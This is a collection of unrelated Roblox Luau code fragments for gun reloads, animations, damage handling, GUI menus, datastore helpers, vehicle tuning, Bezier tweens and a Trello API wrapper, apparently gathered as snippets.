MagZ.Anchored = false
MagZ.CanCollide = true
MagZ:ClearAllChildren()
MagZ.Velocity = MagZ.CFrame.RightVector * 25
--[[local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)]]
wait(0.05)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
wait(0.2)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
--MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
else
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(0.75)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end
end;
|
--Viewmodel |
if Module.VMIdleAnimationID ~= nil then
local VMIdleAnim = Instance.new("Animation",Tool)
VMIdleAnim.Name = "VMIdleAnim"
VMIdleAnim.AnimationId = "rbxassetid://"..Module.VMIdleAnimationID
end
if Module.VMFireAnimationID ~= nil then
local VMFireAnim = Instance.new("Animation",Tool)
VMFireAnim.Name = "VMFireAnim"
VMFireAnim.AnimationId = "rbxassetid://"..Module.VMFireAnimationID
end
if Module.VMReloadAnimationID ~= nil then
local VMReloadAnim = Instance.new("Animation",Tool)
VMReloadAnim.Name = "VMReloadAnim"
VMReloadAnim.AnimationId = "rbxassetid://"..Module.VMReloadAnimationID
end
if Module.VMShotgunClipinAnimationID ~= nil then
local VMShotgunClipinAnim = Instance.new("Animation",Tool)
VMShotgunClipinAnim.Name = "VMShotgunClipinAnim"
VMShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunClipinAnimationID
end
if Module.VMShotgunPumpinAnimationID ~= nil then
local VMShotgunPumpinAnim = Instance.new("Animation",Tool)
VMShotgunPumpinAnim.Name = "VMShotgunPumpinAnim"
VMShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunPumpinAnimationID
end
if Module.VMHoldDownAnimationID ~= nil then
local VMHoldDownAnim = Instance.new("Animation",Tool)
VMHoldDownAnim.Name = "VMHoldDownAnim"
VMHoldDownAnim.AnimationId = "rbxassetid://"..Module.VMHoldDownAnimationID
end
if Module.VMEquippedAnimationID ~= nil then
local VMEquippedAnim = Instance.new("Animation",Tool)
VMEquippedAnim.Name = "VMEquippedAnim"
VMEquippedAnim.AnimationId = "rbxassetid://"..Module.VMEquippedAnimationID
end
if Module.SecondaryFireAnimationEnabled and Module.VMSecondaryFireAnimationID ~= nil then
local VMSecondaryFireAnim = Instance.new("Animation",Tool)
VMSecondaryFireAnim.Name = "VMSecondaryFireAnim"
VMSecondaryFireAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryFireAnimationID
end
if Module.VMSecondaryShotgunPump and Module.VMSecondaryShotgunPumpinAnimationID ~= nil then
local VMSecondaryShotgunPumpinAnim = Instance.new("Animation",Tool)
VMSecondaryShotgunPumpinAnim.Name = "VMSecondaryShotgunPumpinAnim"
VMSecondaryShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryShotgunPumpinAnimationID
end
if Module.TacticalReloadAnimationEnabled and Module.VMTacticalReloadAnimationID ~= nil then
local VMTacticalReloadAnim = Instance.new("Animation",Tool)
VMTacticalReloadAnim.Name = "VMTacticalReloadAnim"
VMTacticalReloadAnim.AnimationId = "rbxassetid://"..Module.VMTacticalReloadAnimationID
end
if Module.InspectAnimationEnabled and Module.VMInspectAnimationID ~= nil then
local VMInspectAnim = Instance.new("Animation",Tool)
VMInspectAnim.Name = "VMInspectAnim"
VMInspectAnim.AnimationId = "rbxassetid://"..Module.VMInspectAnimationID
end
if Module.ShotgunReload and Module.PreShotgunReload and Module.VMPreShotgunReloadAnimationID ~= nil then
local VMPreShotgunReloadAnim = Instance.new("Animation",Tool)
VMPreShotgunReloadAnim.Name = "VMPreShotgunReloadAnim"
VMPreShotgunReloadAnim.AnimationId = "rbxassetid://"..Module.VMPreShotgunReloadAnimationID
end
if Module.VMMinigunRevUpAnimationID ~= nil then
local VMMinigunRevUpAnim = Instance.new("Animation",Tool)
VMMinigunRevUpAnim.Name = "VMMinigunRevUpAnim"
VMMinigunRevUpAnim.AnimationId = "rbxassetid://"..Module.VMMinigunRevUpAnimationID
end
if Module.VMMinigunRevDownAnimationID ~= nil then
local VMMinigunRevDownAnim = Instance.new("Animation",Tool)
VMMinigunRevDownAnim.Name = "VMMinigunRevDownAnim"
VMMinigunRevDownAnim.AnimationId = "rbxassetid://"..Module.VMMinigunRevDownAnimationID
end
if Module.ChargingAnimationEnabled and Module.VMChargingAnimationID ~= nil then
local VMChargingAnim = Instance.new("Animation",Tool)
VMChargingAnim.Name = "VMChargingAnim"
VMChargingAnim.AnimationId = "rbxassetid://"..Module.VMChargingAnimationID
end
if Module.SelectiveFireEnabled and Module.VMSwitchAnimationID ~= nil then
local VMSwitchAnim = Instance.new("Animation",Tool)
VMSwitchAnim.Name = "VMSwitchAnim"
VMSwitchAnim.AnimationId = "rbxassetid://"..Module.VMSwitchAnimationID
end
if Module.BatteryEnabled and Module.VMOverheatAnimationID ~= nil then
local VMOverheatAnim = Instance.new("Animation",Tool)
VMOverheatAnim.Name = "VMOverheatAnim"
VMOverheatAnim.AnimationId = "rbxassetid://"..Module.VMOverheatAnimationID
end
if Module.MeleeAttackEnabled and Module.VMMeleeAttackAnimationID ~= nil then
local VMMeleeAttackAnim = Instance.new("Animation")
VMMeleeAttackAnim.Name = "VMMeleeAttackAnim"
VMMeleeAttackAnim.AnimationId = "rbxassetid://"..Module.VMMeleeAttackAnimationID
VMMeleeAttackAnim.Parent = Tool
end
ChangeMagAndAmmo.OnServerEvent:Connect(function(Player, Mag, Ammo, Heat)
MagValue.Value = Mag
AmmoValue.Value = Ammo
HeatValue.Value = Heat
end)
InflictTargetMelee.OnServerInvoke = function(Player, ClientModule, TargetHumanoid, TargetTorso, Damage, Misc, Critical, Hit)
_G.SecureSettings(Player, Tool, ClientModule) --Second layer
local TrueDamage = (Hit and Hit.Name == "Head" and Damage[2]) and Damage[1] * Damage[3] or Damage[1]
if Player then
local TargetTEAM = TargetHumanoid.Parent:FindFirstChild("TEAM")
local TEAM = Tool.Parent:FindFirstChild("TEAM")
local CanDamage = (TEAM and TargetTEAM) and (TargetTEAM.Value ~= TEAM.Value) or DamageModule.CanDamage(TargetHumanoid.Parent, Player)
if TargetHumanoid and TargetHumanoid.Health ~= 0 and TargetTorso and CanDamage then
while TargetHumanoid:FindFirstChild("creator") do
TargetHumanoid.creator:Destroy()
end
local creator = Instance.new("ObjectValue",TargetHumanoid)
creator.Name = "creator"
creator.Value = Player
Debris:AddItem(creator, 5)
if Critical[1] then
local CriticalChanceRandom = Random.new():NextInteger(0, 100)
if CriticalChanceRandom <= Critical[2] then
TargetHumanoid:TakeDamage(math.abs(TrueDamage * Critical[3]))
else
TargetHumanoid:TakeDamage(math.abs(TrueDamage))
end
else
TargetHumanoid:TakeDamage(math.abs(TrueDamage))
end
if Misc[1] > 0 then --knockback
local Shover = Character.HumanoidRootPart or Character.Head
local Duration = 0.1
local Speed = Misc[1] / Duration
local Velocity = (TargetTorso.Position - Shover.Position).Unit * Speed
local ShoveForce = Instance.new("BodyVelocity")
ShoveForce.MaxForce = Vector3.new(1e9, 1e9, 1e9)
ShoveForce.Velocity = Velocity
ShoveForce.Parent = TargetTorso
Debris:AddItem(ShoveForce, Duration)
end
if Misc[2] > 0 and Character.Humanoid and Character.Humanoid.Health ~= 0 then --lifesteal
Character.Humanoid.Health = Character.Humanoid.Health + (TrueDamage * Misc[2])
end
if Misc[3] then --affliction
local roll = math.random(1, 100)
if roll <= Misc[5] then
if not TargetHumanoid.Parent:FindFirstChild(Misc[4]) then
local Debuff = script:FindFirstChild(Misc[4]):Clone()
Debuff.creator.Value = creator.Value
Debuff.Parent = TargetHumanoid.Parent
Debuff.Disabled = false
end
end
end
end
else
warn("Unable to register damage because player is no longer existing here")
end
end
Tool.Equipped:Connect(function()
Player = Players:GetPlayerFromCharacter(Tool.Parent)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
if Module.DualEnabled and Workspace.FilteringEnabled then
Handle2.CanCollide = false
local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand")
local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand")
if RightArm then
local Grip = RightArm:WaitForChild("RightGrip", 0.01)
if Grip then
Grip2 = Grip:Clone()
Grip2.Name = "LeftGrip"
Grip2.Part0 = LeftArm
Grip2.Part1 = Handle2
--Grip2.C1 = Grip2.C1:inverse()
Grip2.Parent = LeftArm
end
end
end
end)
Tool.Unequipped:Connect(function()
if Module.DualEnabled and Workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then
Grip2:Destroy()
end
end
end)
|
-- services |
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
|
----- Script ----- |
local function DisableGui (Gift,Daily,Rebirth,Store,Vip,Inventory,CaseStore)
GiftFrame.Visible = Gift
DailyRewardFrame.Visible = Daily
RebirthFrame.Visible = Rebirth
StoreFrame.Visible = Store
VipFrame.Visible = Vip
InventoryFrame.Visible = Inventory
CaseStoreFrame.Visible = CaseStore
end
GiftFrame.Changed:Connect(function()
if GiftFrame.Visible == true then
DisableGui(true,false,false,false,false,false,false)
end
end)
DailyRewardFrame.Changed:Connect(function()
if DailyRewardFrame.Visible == true then
DisableGui(false,true,false,false,false,false,false)
end
end)
RebirthFrame.Changed:Connect(function()
if RebirthFrame.Visible == true then
DisableGui(false,false,true,false,false,false,false)
end
end)
StoreFrame.Changed:Connect(function()
if StoreFrame.Visible == true then
DisableGui(false,false,false,true,false,false,false)
end
end)
VipFrame.Changed:Connect(function()
if VipFrame.Visible == true then
DisableGui(false,false,false,false,true,false,false)
end
end)
InventoryFrame.Changed:Connect(function()
if InventoryFrame.Visible == true then
DisableGui(false,false,false,false,false,true,false)
end
end)
CaseStoreFrame.Changed:Connect(function()
if CaseStoreFrame.Visible == true then
DisableGui(false,false,false,false,false,false,true)
end
end)
|
--[=[
@return boolean
Returns `true` if the option has a value.
]=] |
function Option:IsSome()
return self._s
end
|
-- Insert inside the tool |
local tool = script.Parent
local anim = Instance.new("Animation")
local anim1 = Instance.new("Animation")
anim.Name = "IdleAnim"
anim.AnimationId = "rbxassetid://YourOwnID" -- Idle Animaton ID
anim1.Name = "EquipAnim"
anim1.AnimationId = "rbxassetid://YourOwnID"-- Equip Tool Animaton ID
local track
local track1 |
-- Decompiled with the Synapse X Luau decompiler. |
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = {};
local u2 = {};
function v1.Get(p1)
local v2 = u2[p1];
if v2 then
local v3 = v2[1];
local v4 = u1.StatService.Get(v3);
if v4 then
local v5 = v4.Pets[v2[2]];
if v5 and v5.uid == p1 then
return v5, v3;
end;
end;
end;
for v6, v7 in pairs(game.Players:GetPlayers()) do
local v8 = u1.StatService.Get(v7);
if v8 then
for v9, v10 in ipairs(v8.Pets) do
if not v9 then
break;
end;
if v10.uid == p1 then
u2[p1] = { v7, v9 };
return v10, v7, v8;
end;
end;
end;
end;
end;
function v1.AllEquipped(p2)
local v12 = {};
for v13, v14 in ipairs(u1.StatService.Get(p2).Pets) do
if not v13 then
break;
end;
if v14.e then
table.insert(v12, v14);
end;
end;
return v12;
end;
function v1.GetNowStrength(p3)
local v16 = u1.StatService.Get(p3);
if not v16 then
return;
end;
local v17 = 0;
for v18, v19 in ipairs(v16.Pets) do
if not v18 then
break;
end;
if v19.e then
v17 = v17 + v19.em;
end;
end;
return v17;
end;
function v1.GetBestStrength(p4)
local v21 = u1.StatService.Get(p4);
if not v21 then
return;
end;
table.sort(v21.Pets, function(p5, p6)
if math.abs(p5.em - p6.em) < 1 then
return p5.idt < p6.idt;
end;
return p6.em < p5.em;
end);
local v22 = 0;
local v23 = 0;
for v24, v25 in ipairs(v21.Pets) do
if not v24 then
break;
end;
if v22 < v21.MaxEquipped then
v22 = v22 + 1;
v23 = v23 + v25.em;
end;
end;
return v23;
end;
function v1.AllBestEquipped(p7)
if not u1.StatService.Get(p7) then
return;
end;
return v1.GetNowStrength(p7) == v1.GetBestStrength(p7);
end;
task.defer(function()
while task.wait(300) do
u2 = {};
end;
end);
return v1;
|
-- Do not edit without experience. |
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
game.Players.ChildAdded:connect(onPlayerEntered)
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
if plrData.Character.Injuries.Trauma.Value == true then
return true
end
return false
end
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 7 -- cooldown for use of the tool again
BoneModelName = "Bone cage" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--script.Parent.RemoteEvent.OnServerEvent:Connect(function()
-- if debounce == false then
-- char["Right Arm"].Touched:Connect(function(part)
-- if debounce == false then
-- debounce = true
-- script.Debounce.Value = true
-- if part.Parent.ClassName == "Model" then
-- target = part.Parent
-- elseif part.Parent.ClassName == "Model" then
-- target = part.Parent
-- else
-- return nil
-- end
--
-- if target:FindFirstChild("Humanoid") ~= nil then
-- target.Humanoid.Health = target.Humanoid.Health - script.Parent.Damage.Value
-- return
-- end
-- end
-- wait(script.Parent.Cooldown.Value)
-- debounce = false
-- script.Debounce.Value = false
-- end)
-- end
--end) | |
-- humanoidAnimateR15Moods.lua |
local Character = script.Parent
local Humanoid = Character:WaitForChild("Humanoid")
local pose = "Standing"
local userNoUpdateOnLoopSuccess, userNoUpdateOnLoopValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNoUpdateOnLoop") end)
local userNoUpdateOnLoop = userNoUpdateOnLoopSuccess and userNoUpdateOnLoopValue
local userAnimateScaleRunSuccess, userAnimateScaleRunValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserAnimateScaleRun") end)
local userAnimateScaleRun = userAnimateScaleRunSuccess and userAnimateScaleRunValue
local function getRigScale()
if userAnimateScaleRun then
return Character:GetScale()
else
return 1
end
end
local AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
local HumanoidHipHeight = 2
local EMOTE_TRANSITION_TIME = 0.1
local currentAnim = ""
local currentAnimInstance = nil
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local runAnimTrack = nil
local runAnimKeyframeHandler = nil
local PreloadedAnims = {}
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=507766666", weight = 1 },
{ id = "http://www.roblox.com/asset/?id=507766951", weight = 1 },
{ id = "http://www.roblox.com/asset/?id=507766388", weight = 9 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=507777826", weight = 10 }
},
run = {
{ id = "http://www.roblox.com/asset/?id=507767714", weight = 10 }
},
swim = {
{ id = "http://www.roblox.com/asset/?id=507784897", weight = 10 }
},
swimidle = {
{ id = "http://www.roblox.com/asset/?id=507785072", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=507765000", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=507767968", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=507765644", weight = 10 }
},
sit = {
{ id = "http://www.roblox.com/asset/?id=2506281703", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=522635514", weight = 10 }
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=522638767", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=507770239", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=507770453", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=507771019", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507771955", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507772104", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=507776043", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507776720", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507776879", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=507777268", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507777451", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=507777623", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=507770818", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=507770677", weight = 10 }
},
}
|
-- METHODS |
function CollectiveWorldModel:_getCombinedResults(methodName, ...)
local results = workspace[methodName](workspace, ...)
if worldModel then
local additionalResults = worldModel[methodName](worldModel, ...)
for _, result in pairs(additionalResults) do
table.insert(results, result)
end
end
return results
end
function CollectiveWorldModel:GetPartBoundsInBox(cframe, size, overlapParams)
return self:_getCombinedResults("GetPartBoundsInBox", cframe, size, overlapParams)
end
function CollectiveWorldModel:GetPartBoundsInRadius(position, radius, overlapParams)
return self:_getCombinedResults("GetPartBoundsInRadius", position, radius, overlapParams)
end
function CollectiveWorldModel:GetPartsInPart(part, overlapParams)
return self:_getCombinedResults("GetPartsInPart", part, overlapParams)
end
return CollectiveWorldModel
|
-- fallService:GetFallSignalFor(player, true):Connect(function()
-- if player.Character then
-- if player.Character:FindFirstChild("Immune") then return end
-- miscModule.Ragdoll(player.Character, 1.25)
-- DefaultGroup:Disable(player.Character)
-- task.delay(1.25, function()
-- DefaultGroup:Enable(player.Character)
-- end)
-- end
-- end)
--end) | |
-- Trim empty datastores and scopes from an entire datastore type: |
local function prepareDataStoresForExport(origin)
local dataPrepared = {}
for name, scopes in pairs(origin) do
local exportScopes = {}
for scope, data in pairs(scopes) do
local exportData = {}
for key, value in pairs(data) do
exportData[key] = value
end
if next(exportData) ~= nil then -- Only export datastore when non-empty
exportScopes[scope] = exportData
end
end
if next(exportScopes) ~= nil then -- Only export scope list when non-empty
dataPrepared[name] = exportScopes
end
end
if next(dataPrepared) ~= nil then -- Only return datastore type when non-empty
return dataPrepared
end
end
local function preprocessKey(key)
if type(key) == "number" then
if key ~= key then
return "NAN"
elseif key >= math.huge then
return "INF"
elseif key <= -math.huge then
return "-INF"
end
return tostring(key)
end
return key
end
local function accurateWait(dt)
dt = math.max(0, dt)
local left = dt
while left > 0 do
left = left - RunService.Heartbeat:Wait()
end
return dt - left
end
local function simulateYield()
if Constants.YIELD_TIME_MAX > 0 then
accurateWait(rand:NextNumber(Constants.YIELD_TIME_MIN, Constants.YIELD_TIME_MAX))
end
end
local function simulateErrorCheck(method)
if Constants.SIMULATE_ERROR_RATE > 0 and rand:NextNumber() <= Constants.SIMULATE_ERROR_RATE then
simulateYield()
error(method .. " rejected with error (simulated error)", 3)
end
end
|
-- Workspace elements |
local Checkpoints = workspace:WaitForChild("Checkpoints")
|
--[[Drivetrain]] |
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 80 -- 1 - 100%
Tune.RDiffLockThres = 20 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = True -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
-- tweens a given object in the path made by the Bezier (position only)
-- works for any object that has the properties given by the property table |
function Bezier:CreateVector3Tween(object: Instance | {[any]: any}, propertyTable: {any}, bezierTweenInfo: TweenInfo, RelativeToLength: boolean?): Tween
-- check if there are enough points to calculate a position within the Bezier
if #self.Points == 0 then
error("Bezier:CreateVector3Tween() only works if there is at least 1 BezierPoint in the Bezier!")
end
-- check if the object given is a valid object
if typeof(object) ~= "Instance" and typeof(object) ~= "table" then
error("Bezier:CreateVector3Tween() requires an Instance or a table as the first argument!")
end
-- check if the bezierTweenInfo given is a TweenInfo object
if not (typeof(bezierTweenInfo) == "TweenInfo") then
error("Bezier:CreateVector3Tween() requires a TweenInfo object as the third argument!")
end
-- check if the object given has the vector3 properties given
local success, foundProperties = pcall(function()
local foundProperties = true
for _, propertyName in pairs(propertyTable) do
if typeof(object[propertyName]) ~= "Vector3" and typeof(object[propertyName]) ~= "nil" then
foundProperties = false
break
end
end
return foundProperties
end)
-- check if the properties were found
if success and foundProperties then
local tweenService = game:GetService("TweenService")
local numValue = Instance.new("NumberValue")
local tween = tweenService:Create(numValue, bezierTweenInfo, {Value = 1})
local numValueChangedConnection
tween.Changed:Connect(function(prop)
if prop == "PlaybackState" then
local playbackState = tween.PlaybackState
if playbackState == Enum.PlaybackState.Playing then
numValueChangedConnection = numValue.Changed:Connect(function(t)
for _, propName in pairs(propertyTable) do
object[propName] = RelativeToLength and self:CalculatePositionRelativeToLength(t) or self:CalculatePositionAt(t)
end
end)
else
if numValueChangedConnection then
numValueChangedConnection:Disconnect()
numValueChangedConnection = nil
end
end
end
end)
return tween
else
error("Bezier:CreateVector3Tween() requires a matching property table with Vector3 or nil property names for the object as the second argument!")
end
end
|
--[[
Made by Sceleratis
Trello API Documentation: https://trello.com/docs/
--]] |
local http = game:service("HttpService")
function checkHttp()
local y,n = pcall(function()
local get = http:GetAsync('http://trello.com')
end)
if y and not n then
return true
else
return false,n
end
end
function decode(str)
return http:JSONDecode(str)
end
function encode(str)
return http:JSONEncode(str)
end
function urlEncode(str)
return http:UrlEncode(str)
end
function httpGet(url)
return http:GetAsync(url,true)
end
function httpPost(url,data,type)
return http:PostAsync(url,data,type)
end
function trim(str)
return str:match("^%s*(.-)%s*$")
end
function getListObj(list,name)
for i,v in pairs(list) do
if trim(v.name)==trim(name) then
return v
end
end
end
function Trello(appKey, token)
local Status,Message = checkHttp()
if not Status then
return false,Message
end
local appKey = appKey or ""
local token = token or ""
local base = "https://api.trello.com/1/"
local toks = "key="..appKey.."&token="..token
local api
api = {
http = http;
getListObj = getListObj;
checkHttp = checkHttp;
urlEncode = urlEncode;
encode = encode;
decode = decode;
httpGet = httpGet;
httpPost = httpPost;
trim = trim;
epochToHuman = function(epoch)
return decode(httpGet("http://www.convert-unix-time.com/api?timestamp="..epoch.."&returnType=json&format=iso8601")).utcDate
end;
getBoard = function(boardId)
return decode(httpGet(api.getUrl("boards/"..boardId)))
end;
getLists = function(boardId)
return decode(httpGet(api.getUrl("boards/"..boardId.."/lists")))
end;
getList = function(boardId, name)
local lists = api.getLists(boardId)
return getListObj(lists,name)
end;
getCards = function(listId)
return decode(httpGet(api.getUrl("lists/"..listId.."/cards")))
end;
getCard = function(listId, name)
local cards=api.getCards(listId)
return getListObj(cards,name)
end;
getComments = function(cardId)
return decode(httpGet(api.getUrl("cards/"..cardId.."/actions?filter=commentCard")))
end;
delComment = function(cardId, comId)
-- No PUT/DELETE :( (?)
end;
makeComment = function(cardId, text)
return decode(httpPost(api.getUrl("cards/"..cardId.."/actions/comments"),"&text="..urlEncode(text),2))
end;
getCardField = function(cardId,field)
return decode(httpGet(api.getUrl("cards/"..cardId.."/"..field)))
end; -- http://prntscr.com/923fmw
getBoardField = function(boardId,field)
return decode(httpGet(api.getUrl("boards/"..boardId.."/"..field)))
end; -- http://prntscr.com/923gq3
getListField = function(listId,field)
return decode(httpGet(api.getUrl("lists/"..listId.."/"..field)))
end; -- http://prntscr.com/923uyb
getLabel = function(boardId,name)
local labels = api.getBoardField(boardId,"labels")
return getListObj(labels,name)
end;
makeCard = function(listId,name,desc,extra)
local extra = extra or ""
return decode(httpPost(api.getUrl("lists/"..listId.."/cards"),"&name="..urlEncode(name).."&desc="..urlEncode(desc)..extra,2))
end;
makeList = function(boardId,name,extra)
local extra = extra or ""
return decode(httpPost(api.getUrl("boards/"..boardId.."/lists"),"&name="..urlEncode(name)..extra,2))
end;
doAction = function(method,subUrl,data)
if method:lower()=="post" then
return decode(httpPost(api.getUrl(subUrl),data,2))
elseif method:lower()=="get" then
return decode(httpGet(api.getUrl(subUrl)))
end
end;
getUrl = function(str)
local toks=toks
if str:find("?") then
toks="&"..toks
else
toks="?"..toks
end
return base..str..toks
end;
}
return api
end
return Trello
--[[
--_____________________________________________________________________________________________________________________--
